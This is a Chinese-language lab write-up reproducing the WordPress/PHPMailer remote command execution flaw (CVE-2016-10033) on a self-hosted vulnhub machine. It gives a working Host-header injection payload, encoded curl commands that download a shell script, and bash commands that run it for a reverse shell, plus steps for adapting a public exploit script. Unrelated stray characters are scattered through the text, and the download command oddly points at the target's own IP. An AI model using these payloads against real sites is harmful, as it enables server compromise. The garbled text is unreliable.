鄭重聲明:所用漏洞環(huán)境為自建虛擬機(jī)vulnhub靶機(jī)環(huán)境般堆,僅供本人學(xué)習(xí)使用婿脸。
漏洞簡(jiǎn)述
WordPress ≤ 4.7.1使用 PHPMailer 組件向用戶發(fā)送郵件讯屈。PHPMailer(版本 < 5.2.18)存在遠(yuǎn)程命令執(zhí)行漏洞,攻擊者只需巧妙地構(gòu)造出一個(gè)惡意郵箱地址蛔垢,即可寫入任意文件,造成遠(yuǎn)程命令執(zhí)行的危害迫悠。
準(zhǔn)備環(huán)境
測(cè)試機(jī)IP:192.168.79.129
靶機(jī)IP:192.168.79.131
1. 啟動(dòng)Vulnhub靶機(jī)環(huán)境:
2. 驗(yàn)證靶機(jī)應(yīng)用啟用成功:
3. 用wpscan掃描鹏漆,能發(fā)現(xiàn)此漏洞
漏洞復(fù)現(xiàn)
方法一:手工利用
前提條件:
#執(zhí)行的命令不能包含一些特殊的字符
#命令為小寫字母
#命令使用絕對(duì)路徑
#至少需要知道一個(gè)用戶名
使用${substr{0}{1}{$spool_directory}}代替/
使用${substr{10}{1}{$tod_log}}代替‘空格’
POC:
參考:https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
HTTP Host標(biāo)頭:target(any -froot@localhost -be ${run{command}} null)
1. 使用Burp攔截找回密碼頁的訪問,/wp-login.php?action=lostpassword
2.準(zhǔn)備反彈Shell文件
3. 開啟python http server创泄,供靶機(jī)下載反彈Shell文件
4. 構(gòu)建下載Shell文件命令
原命令:
/usr/bin/curl -o/tmp/shell 192.168.79.131/shell.sh
轉(zhuǎn)換后命令:
${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.79.131${substr{0}{1}{$spool_directory}}shell.sh
5. 構(gòu)建執(zhí)行Shell文件命令
原命令:
/bin/bash /tmp/shell
轉(zhuǎn)換后命令:
${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell
6. 使用Burp執(zhí)行下載Shell文件命令(這里將8080端口去調(diào)了艺玲,不然報(bào)500錯(cuò)誤)
7. 使用NC偵聽反彈端口
8. 使用Burp執(zhí)行反彈Shell
9. 得到反彈Shell
方法二:使用現(xiàn)有的exp
引用:https://www.exploit-db.com/exploits/41962
1. 修改腳本
# 修改接收反彈shell的主機(jī)IP
2. 執(zhí)行腳本,發(fā)現(xiàn)報(bào)錯(cuò)鞠抑。因?yàn)槟_本是針對(duì)windows環(huán)境的饭聚,需要將其轉(zhuǎn)換成對(duì)應(yīng)的linux格式。
3. 轉(zhuǎn)換腳本格式
4. 再次執(zhí)行
5. 命令使用格式: exploit.sh target-wordpress-url搁拙,嘗試執(zhí)行秒梳,又發(fā)現(xiàn)反彈dns解析失敗法绵。
6. 由于沒有使用DNS解析域名,再次修改腳本
7. 繼續(xù)執(zhí)行腳本:bash exploit.sh http://192.168.79.131:8080/ 酪碘,成功接收到反彈Shell朋譬。